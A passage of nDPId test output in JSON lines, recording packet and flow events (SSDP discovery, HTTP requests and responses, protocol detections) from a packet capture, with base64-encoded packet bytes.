5Sf0baUY9ISVHHGCSQPXFbHh6unqPYVDsqmVyTCl1TyKsl2qFSn2Sle0N8egZ2Hd8s67vBF1Yp1MqNTsa5BTzDuh8OR5tVa8yOJaklHlvgnAQ7kAL\/VXt9jkNKneE2o9FvF50wq1CU47aNQrzjUN2Qk+bT5bbDrnwr2RzwnchX6yQfdJ04ziZITFcSEeHwjyNKm4rIcnyqrtfw89JYfXK7LdqtsVA0en0GNOjQIleW4pEgqXv3OgA8pA9J+7hWmf0d64wbb6NGbcRfp1ItGRNo9GbpzCnimOghKfNcU5hTnpOVApGEg4yrTisiyIq+pt33O7E+JvarUyImQkVFnaw0t1flPGOEhbaVDcCd53bSABzpHu9P0o8HPUJanGA209dEkNqQSvczMW2nHtj9\/bQ+dRe2\/czchcY56fKoYrt1bcrY6VYKv8AgdNrp6YTqOp+JBuFt6lutTELT5LalfFtOpXnnLycKBJBSrjkZ0vOk9Iolk+J++26PSV0q2V0eK42hL7qBvS+jaoLC0na4Wlk7lEHKgrIJ0d+LZMa1rO6MyVR0MQ6JcdKQp1J5WlUFLrpUD78Y4OONaVd6RxW7jqFSgtIjO1AxKBKdTh8oajmQfNGR6VHzU984+vGqBsYIYBx4ZMg++KlOozoA27msqdLL8c\/jh1eamQpCo9OloqTIkynpa1LW0hLjKFqVlttQj8hJIwUezSBrAdYmx63cNbqDDXlR5k5+Q23ndsSpxSkjn5ZHc69YeqFhU6wejnUG4moSYs2VBlzpvPq3RGVISonPO5xSQQOMnXkXSvTFP01ofYmztlu5polxlQPwqRbuW5jy54BqXbSdlmVFXzrcE\/8VuT\/AH601c\/8HjclWs6hXPTatQosKZBYkny\/iXXlpWlJSfLS0QT6xyD7H5az"} +02115{"flow_id":107,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2011,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353198,"pkt_ts_usec":682034,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUAKFAADgGwGPfGmoUwKhzCABQxlwKAIYNwq8jr1AQAB8AOgAApbkfNirSSlPm1k+pxWEjZGc7n5Df31sGj+NyHTLSpduVGjViQ3FhssI3pjLYcShCUjb68KwE5BB789+NI3ahtWXTki0qLe7H0B\/XpV5GjWXfI2MVjGd07ajfxioiCHrnoE59h8NOLWmUhtZQrymw3+rtUsqUoen2yNA6GlBKT2IOjy9KnUqF1MqlxI+9NnvTPLWr76XHFKLbmCM5CtqgO\/Oqm5HqXUqu5Ko3miI4UuFLrIa2OEArQlIUr0pUTjntjOqWnW0ySGG4GHx+dHZZILi1WWMgMOD7+\/71U0mE7KU4000p1xWAlCElSifoPnqebYqyUsk0md97\/wCtV\/3aMfD3YjfUXqxQbbelSoEeoS\/LdkwsB9tASpSijPGdqTzg\/h7a0xW+gNlImw6rGrXUKPazFsyazLjOvtfaKnmZKWlJBKQhKSle7lOeB89NGES2RT1\/rS7LOsb7WNZHn25UjDVimzN3H\/wuv+7XVAt2pCG5\/gyZ+Udf92tE9QOj6addlTsW3qtdD16rrEeNTI1RloQ2qGtgOFx3YPvpO7KknGAONLe57anWLU0U5+8U17aMynKTNePw5DikrbO\/b6xtzyPcfXRsAz3qlR1Sq6zAp1oDYoFQFPif4Pl7vNOf5Mv+7WzehHT2jTOjpNYtxuKmonyd6p\/krfdypIdWPKWpR4VhCiEgJGB94lZdT7Ps62Lds2XQavfQNdYRUkmsTmthYVuGB5aM7s7DnnjPGSNaO8Ovh9qNydCbkqqpMmlppdwS482euap1FVisNfpVNAjKChaFISRjP4g5VtUvA8CxA4II\/LiitjLhi+OKwDd9k1KNcMllimzXW2pC2wtuK5tICiAR6e3Gok2zquuVD20aoHBGcQ3Djn+jo+tNqm3GpLdVkVxE6awlqntwZwSj4ta0pQXdyVHywFHIAB476b1Y6HWkOoM2z4rd9qrdEo06oSlSJDLaZTjaWvIWygNk+WpRXkZJPpAVnOjHxsUivg5yV\/Khskvdt4h61nar2NXFwj5dDqa+PaC7\/wBXUSJYdf8APP8AgGq9h\/8ACLv\/AFdbeY8JFtuzZrVZau\/7O+IpFOYTDnMJcTIltkqWtSmsbUkpTgJ49yc8D9u+Eih1aPBmqi3C5GVSauJLvxrSUrqMWWI7SEjZkA7VEpOc+xwk6MS6lbPdd6PIDyofHeLsrGUigTqVJcanQJEJ77wbktFtRT7HCgO+ntbH8IP1C6f2xadtQqJb78K2YKoENchuRvUk7QVKKXh6vT7ADntqo6wdM6X02rlGpEaLMZqCqLEl1NM14OH4txBKwgBI2pBHYkn66QFZQG6qrCd2Fdvnzqr2r02G80eK4dc5PFF9Pud0pCnFatsXxv3d04oUavppVIcqPwyqfCZUpZBT8UJTjjiA4FAFZwk9iMjkjOlz4fvFHL6K3xWq3TbPhVEVaNGjKgsy5ENLZaWhYWFNK3epSMrSSQrerIIOhGnwE9SrkYj1CcxRWVoEeDCcfW75KB91tG9RITzxuV78a4QaEmixn3FtpZS0VIK18YUOOf7tJOmdmUki3vgK3X6UU1HUoRKIoR938\/etOWN42K5bUu+1\/wAW49ZMthm41rrdSkSXEFbcFLjDaxt8ttaQrISB\/vfs0gaQEGoGt0Gl1B9Gz46pVyYtA5wVMsEjPv76hUVnz01Z"} +02103{"flow_id":107,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2012,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353198,"pkt_ts_usec":682063,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFAAUUAKJAADgGwGLfGmoUwKhzCABQxlwKAIr5wq8jr1AQAB8xRgAAxPJk2ln\/AIikI\/0Wr+gNm2bPjW9JdSupvRpMtbSHcfCtlOS060pAIcKkoOd33ce3c5aW1pp1yDCmC4I\/MVylu93G7u2FTn+n1rq8NfSml9Yus1u2tW5T0KkSSt2W5HUlDnloQVFKVK4SVYA3EHGSeTrc11eB3o4LBfnwLfuKjOTI++HLi1oznG1HAQpTJRhacqG5IPYKwffWWvABGlzvFFbkKLF+JTJhT2H1kpAYaMZWXSD94AhPHvnjXovTun1zzaI5RV1umT5EENsfZeQ4pAUgqZQ4jH6PcE+lSinnarI0F7cahq2nyj+FZ34HT0PrzQtWiD4lbArHnSDwV9NbV6JzOofVpdXqLCapNhLeoszyo8REeSuOFcIJO9xtfqUpIHpGM5yM9WugnSmxOrlh+Qa43YdcUtEuO7L3Pg+WS35b3l5G5RSCkgkexwrh2yortx\/wdlbmOsSWnJLFbq7gfUf0SxWZGUHHG7kfsUfloT\/hDbdfpNl2c7s8pNOqQgMuIX6v9zFzPAHueDnRDQGu5CiF8F+D88VQeRmlJ3cZNZY63dKaXJ64LtHpZSKrMjONNhiJLfD75XzvUVYSEj7p9XbPfVdfvhh6hdIaWuqXTSo9OioUhtaROZccBWTtylJJ75\/ZpqeB+9LfpPVa4KXcjzTdVuOnpg0qpTHORJDqVBrzFHCS6BhKlHG5KB76vfGP0a6mdNxMnG4ajcvTibKSlwPDDtLkKVvTHlIOSk84S4DtX8wTjXRgmttVWNm3NkAk1cWVgRHWc+mFPs+o9R6FHv5+TGtBx1f2i7CcDbyU+Wsp2KIIGVBHse+NbXqPh18KtE6cUe6ZNYuqNCqyd0QP1LY2sc91mP8AsOMEnAPfHn5Um\/0afTrcPWi0pkbwM9PZD7i1wY1KpcuOCsqCDII3DH6vKfzz89ENYjkXUtkbbdwHSvJSdqnPnQn0n8O3Sdvow1f15yK84zUqg7HhKYmiOykecpDTXDCypakjeVEpHqAA9zWXr4cOnVoeINuhOyarUbSfoj9QLceckuxZDaMlPn+UPMQk4P3EnuM8ZL56b9MKRePhY6aUqrvVGLTzT49TdeaktMNB0z3EtgF30qUsgJwPVyOTkav+pnSGTVuvVnwpDSWxMtav4iod4SG0thbYVkHOVLycg\/XSjcyzrBt39DXlvL\/ecMaDad4dna9arbVDsOzIVLZSfLRVX3FVB5vbhLjigjckq+8cr9xwDrPds9E7durrnSbaq1EqVv0SnRVv3GlE7zMqStYStp0oOxte5lPO7HqOflqKdbdqUWm0liK04048pJS83UZjS1pK+ULdSlYUNvG1aucJyOOb2F0lVROidwXTSqbIq1y1eLPdiJ8wueZHYadU2wpY53EKWoJI5HHJ1QsL66YsjuSp9aZdUlCwghQDWbLV6DdK73vu4avTWq5SemFtMNszg7UG1ypMo7lKIWUZbbAUhJAQpWSNvckQbjs7w+XL1F6dUSyoVdmxp8sIrTblVCipKm1KS22rblO1QTlRH878dfngq6l0huo1mwrmkx48W6VlUefMbCm3JKk7Sw6SfQl70jeDwrg98hlU7wkVDo94sOm02m73bPqdTfRFdkJ3uQJDcZ5wxH0qHJwnKVH76QT3B03TCZYzFO5AwNvoaVtxWQ5OOKpbQ6C9J5HV3qFR3req"} +00578{"flow_id":85,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2126,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353198,"pkt_ts_usec":862502,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChDlAAAAER9TDAqAUp7\/\/\/+sTGB2wAjdbrTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00578{"flow_id":89,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2312,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353199,"pkt_ts_usec":193666,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6jHNut5ODCABFAAChArUAAAERANnAqAUc7\/\/\/+up3B2wAjbFHTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2397,"source":"pps.pcap","alias":"nDPId-test","flow_id":83,"flow_packet_id":1,"flow_first_seen":1467353189363,"flow_last_seen":0,"flow_tot_l4_data_len":912,"flow_min_l4_data_len":912,"flow_max_l4_data_len":912,"flow_avg_l4_data_len":912,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"202.108.14.236","src_port":50504,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2397,"source":"pps.pcap","alias":"nDPId-test","flow_id":87,"flow_packet_id":1,"flow_first_seen":1467353190110,"flow_last_seen":0,"flow_tot_l4_data_len":165,"flow_min_l4_data_len":165,"flow_max_l4_data_len":165,"flow_avg_l4_data_len":165,"midstream":1,"l3_proto":"ip4","src_ip":"202.108.14.219","dst_ip":"192.168.115.8","src_port":80,"dst_port":50506,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":2397,"source":"pps.pcap","alias":"nDPId-test","flow_id":100,"flow_packet_id":1,"flow_first_seen":1467353196348,"flow_last_seen":0,"flow_tot_l4_data_len":365,"flow_min_l4_data_len":365,"flow_max_l4_data_len":365,"flow_avg_l4_data_len":365,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"123.125.111.70","src_port":50775,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2456,"source":"pps.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1467353199417,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"123.125.111.70","dst_ip":"192.168.115.8","src_port":80,"dst_port":50775,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00706{"flow_id":108,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2456,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353199,"pkt_ts_usec":417673,"pkt_caplen":275,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":275,"pkt_l4_len":241,"pkt":"ABxCjnAxTF4M6gNlCABFAAEF4D5AADEGSkB7fW9GwKhzCABQxlcB794psg4Z21AYPLiOgAAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IFRlbmdpbmUNCkRhdGU6IEZyaSwgMDEgSnVsIDIwMTYgMDY6MDY6MzggR01UDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW47Y2hhcnNldD1VVEYtOA0KQ29udGVudC1MZW5ndGg6IDI5DQpDb25uZWN0aW9uOiBjbG9zZQ0KQWNjZXNzLUNvbnRyb2wtQWxsb3ctQ3JlZGVudGlhbHM6IHRydWUNCg0KeyJkYXRhIjp0cnVlLCJjb2RlIjoiQTAwMDAwIn0="} +00517{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2456,"source":"pps.pcap","alias":"nDPId-test","flow_id":108,"flow_packet_id":1,"flow_first_seen":1467353199417,"flow_last_seen":0,"flow_tot_l4_data_len":241,"flow_min_l4_data_len":241,"flow_max_l4_data_len":241,"flow_avg_l4_data_len":241,"midstream":1,"l3_proto":"ip4","src_ip":"123.125.111.70","dst_ip":"192.168.115.8","src_port":80,"dst_port":50775,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00577{"flow_id":76,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2543,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":65484,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6cBiLE+IdCABFAAChI7oAAAER38nAqAUm7\/\/\/+uYRB2wAjbWjTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":105,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2544,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":142502,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6dNArkea6CABFAAChdIcAAAERISHAqHMB7\/\/\/+scBB2wAjWbYTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2545,"source":"pps.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1467353200271,"flow_last_seen":0,"flow_tot_l4_data_len":269,"flow_min_l4_data_len":269,"flow_max_l4_data_len":269,"flow_avg_l4_data_len":269,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50781,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00743{"flow_id":109,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2545,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":271229,"pkt_caplen":303,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":303,"pkt_l4_len":269,"pkt":"TF4M6gNlABxCjnAxCABFAAEhNFdAAIAGSKDAqHMI3xpqFMZdAFCAFVM2Sak8SVAYAQQb1wAAR0VUIC9wcmVpbWFnZS8yMDE2MDUwNi9mMC8xZi92XzExMDM1OTk5OF9tXzYxMV8xNjBfOTBfMy5qcGc\/bm89MyBIVFRQLzEuMQ0KVXNlci1BZ2VudDogUWl5aSBMaXN0IENsaWVudCBQQyA1LjIuMTUuMjI0MA0KSG9zdDogcHJlaW1hZ2UxLnFpeWlwaWMuY29tDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXANClByYWdtYTogbm8tY2FjaGUNCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQpDb25uZWN0aW9uOiBjbG9zZQ0KQWNjZXB0OiAqLyoNCg0K"} +00725{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2545,"source":"pps.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1467353200271,"flow_last_seen":0,"flow_tot_l4_data_len":269,"flow_min_l4_data_len":269,"flow_max_l4_data_len":269,"flow_avg_l4_data_len":269,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.115.8","dst_ip":"223.26.106.20","src_port":50781,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Streaming"},"http": {"hostname":"preimage1.qiyipic.com","url":"preimage1.qiyipic.com\/preimage\/20160506\/f0\/1f\/v_110359998_m_611_160_90_3.jpg?no=3","code":0,"content_type":"","user_agent":"Qiyi List Client PC 5.2.15.2240"}} +00563{"flow_id":105,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2546,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":314511,"pkt_caplen":165,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":165,"pkt_l4_len":131,"pkt":"AQBef\/\/6dNArkea6CABFAACXdIkAAAERISnAqHMB7\/\/\/+scBB2wAg2oBTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhU2VydmVyOjENCk1hbjoic3NkcDpkaXNjb3ZlciINCk1YOjMNCg0K"} +00567{"flow_id":105,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2547,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":346483,"pkt_caplen":167,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":167,"pkt_l4_len":133,"pkt":"AQBef\/\/6dNArkea6CABFAACZdIoAAAERISbAqHMB7\/\/\/+scBB2wAhQmdTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOk1lZGlhUmVuZGVyZXI6MQ0KTWFuOiJzc2RwOmRpc2NvdmVyIg0KTVg6Mw0KDQo="} +00579{"flow_id":105,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2548,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353200,"pkt_ts_usec":376519,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6dNArkea6CABFAAChdIsAAAERIR3AqHMB7\/\/\/+scBB2wAjWbYTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00579{"flow_id":85,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2549,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353201,"pkt_ts_usec":861524,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6SNIkYwreCABFAAChDlEAAAER9S\/AqAUp7\/\/\/+sTGB2wAjdbrTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2550,"source":"pps.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1467353202192,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"77.234.41.35","dst_ip":"192.168.115.8","src_port":80,"dst_port":49174,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00619{"flow_id":110,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2550,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353202,"pkt_ts_usec":192448,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"ABxCjnAxTF4M6gNlCABFKADCuCpAADIG5SVN6ikjwKhzCABQwBY\/zyZ9xn1A6VAYAAIAJQAASFRUUC8xLjEgMjAwIE9LDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KUHJhZ21hOiBuby1jYWNoZQ0KQ2FjaGUtY29udHJvbDogbm8tY2FjaGUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClRyYW5zZmVyLUVuY29kaW5nOiBjaHVua2VkDQoNCg=="} +00594{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2550,"source":"pps.pcap","alias":"nDPId-test","flow_id":110,"flow_packet_id":1,"flow_first_seen":1467353202192,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"77.234.41.35","dst_ip":"192.168.115.8","src_port":80,"dst_port":49174,"l4_proto":"tcp","ndpi": {"flow_risk": {"4":"Binary application transfer"},"proto":"HTTP","breed":"Acceptable","category":"Download-FileTransfer-FileSharing"},"http": {}} +02116{"flow_id":110,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2551,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353202,"pkt_ts_usec":192450,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFKAUUuCtAADIG4NJN6ikjwKhzCABQwBY\/zycXxn1A6VAQAAL1DgAAMjINCgMgCKAEEgH\/MhgIBBDmzNlDGIAKIJuhw6jaKiibocOo2ioNCjllMw0KCuATQVNVIVZQU3oDMAYWRgAAAIAJAACTCQAAeNolVXk01V0bfe51iZApMpZ5zjznco0JmeKSIVNeQzKWkDi4Ggwp6UWG1xCxylQRmd6EyCykZKZ0QwiR4vt933fWOuv8cdbZZ5\/9PPvsM3aGIkkMAEZWqjKV8P\/xCJtSB\/NfKOBwomAIFoTLeF+yLcHOykHRDpzBBXxpwIr2Eh5YEZ6EJCLl8EBQxQO\/OhBpYJqkQwMkvZMEQQA3f4Kc7yWvi\/jwS+HAHykF2jRQpasDRv9DcaOBVd0wDIWCO8DvhxfF8YuBBJwikABIjuCE3RKUjAuHSOCNFAIREAUxUMADmUQDQIgCRPgvVUt9JRlWbNXtK5OpsKHJ8J4LK+EyngYrIxUZVhyAmg4FaJkIoGZU33trc5hjTzGJTtUKB9Mx+T3dfmPXIoQ26EABICX6SsW7hX2KlFgnEwnwoJmVWZtN5T3KOpChrYrh213iQtqdReQAD1v9dk08JJYJFluOWyXS+Qf73GcByDko2exVaBzzKIPoSxuJ8RHb72m1UeUvkD\/v216FhyZVmZihHr7WtrYrgarCACFHcqOl7rTojtTlpFlxAKROdfbFzNGM6rxNqVIdOAHcm\/os5hLXL+tKfHtGi\/HbMZpYdZhMeKP9e3jCaJoGjosfkQ4ZHy19+LLw84guwJwa\/9Ktlu8KY6999xP+Bvj4dedshtyDydKvvvvtpgAl+bo9Df8UGtubKMnkHACwN1E2f0AHkBWdSfPUPXvgqln2dD492SUvokzyVkXQIUBlzVcPHCnc7RZ\/tc8u9KmS7DE4xX62EnoAvc5NZI7V3LhTODiXlfWPiUHKvIWIfwP\/LqADGZnMJDNldpH+uBjbrQapZK+fuOPzW+aAnhW3HhZM585sijetOXliLoa9gCkh9INHCiDXhzXcg\/vpxYIPjRXXRxNKvaI6lu226l8Aivkzy1Ny9ARfXWBlelnoZGwRfmfLmmgZCuiCsz3fuI3zBPjtp6Y5lCjP3ys3qsjmcAREVeoX6HcvcPN3UBngDBwvrmf8LWboGH0E0E1SidB66fcT7RcuptRH0x5\/e5snTfjJ4EFA9CrukkQG\/FZos0p8y8x54czaQvEPHMEPAZX7h0tZs\/DkN\/ReyGJTEQpxaNV6fq6+3gxQd2+SVJO7aPbhn8hRvPDN9bpqNOJ7Zgc7I3K66njSmiFz+dSVFIc2\/1k3fB1jp3XQGqBzSntyXs0dPjnRN5uEu40PrYonyiv7LxhgDJ581+h9hajeR9umb6y\/G1bO8f76fQrKANF5s2vWH3Y1ZL49Vi2gxO84af44zk3gWjsg6clhTdn0aCuv5o1+fJ7HejOvlq9wH7kIM8ZPYWKs58nIykrZmgKpkmDDFgj469W6KSD1DorOyspuG9lyxTo4uS39nIpy1TktrmBA\/sRvhvNBg5FmYRnatdE5Od0m5gLOZ70ogIxyF43qD947ySc4pJOCU6qq7JceMxy26QVEyeI0\/lNvcrsugiCyJrtE\/dIvwhSyroxZcyUhkdxI+4ffajndOqztX68qz1fum6uW2EtV17fJf9FTeneF2Mqb71b7Sm6WLVC5O5MxtNRFe86f6Z1f1L29jwXXUVhj"} +02126{"flow_id":110,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2552,"source":"pps.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1467353202,"pkt_ts_usec":192451,"pkt_caplen":1314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1314,"pkt_l4_len":1280,"pkt":"ABxCjnAxTF4M6gNlCABFKAUUuCxAADIG4NFN6ikjwKhzCABQwBY\/zywDxn1A6VAQAALrNgAALT11Li5gWvs4BXi1xLjmvfKMj0peVQo7lKJXGpIXNwaIVVnV50PDXh\/nhoec299vHndpLUua\/bqpCOjp7McAoWKOkJJNwfqArWbPME9b6btDGVgV0uzbgys3HrUPZGuULZqVvC9cfPh7y1VrCRATr2jIquLGEs7NUuTFUS2\/94Q2D+b6OEydZRO9cPMEkga3a+5FSfXnzkWP45N4tdwDAY3rKF71DNh9qyHNw3zq0kfntg59U62XHN6AJpW5oqhpNP\/KXicl+wTn90pd\/Ux5pxaNuaTtiVisjsDdqJGttkpWFmkIvcN4O3H7Nh+g88QCys9WSrOYR9T1WklqZUIXO2KozevHqrDRk3FhsvxtYk4AY5OTxXPHL2qjoy\/5\/LCO7z9Q0I1UDJ6H3s55a0u\/YyMnFnPMluUDID6DqRJHSb6OUS7lT\/EU7rwQMeL0oaEabUBfFS+XanJaGDL1BZSIyNomFf0DPsUe3djOS8nPpXOhOL\/zzo0NjXvFjylWLV5uSrIEQBYM8WUnB+X2Q2Wcez+wiFByuVMleIMfXAFk2nK\/2ntwKLyC0FBADi6XZL3qNrjHMTQHSC+dvnacGjv84sTgyPra7k8ik3DBtc1vCpiDd8xq36vyCP\/Ys2QYll2fN6Xbf+94Si8B0K0uar09Ty6DviDBYXt5\/8Xp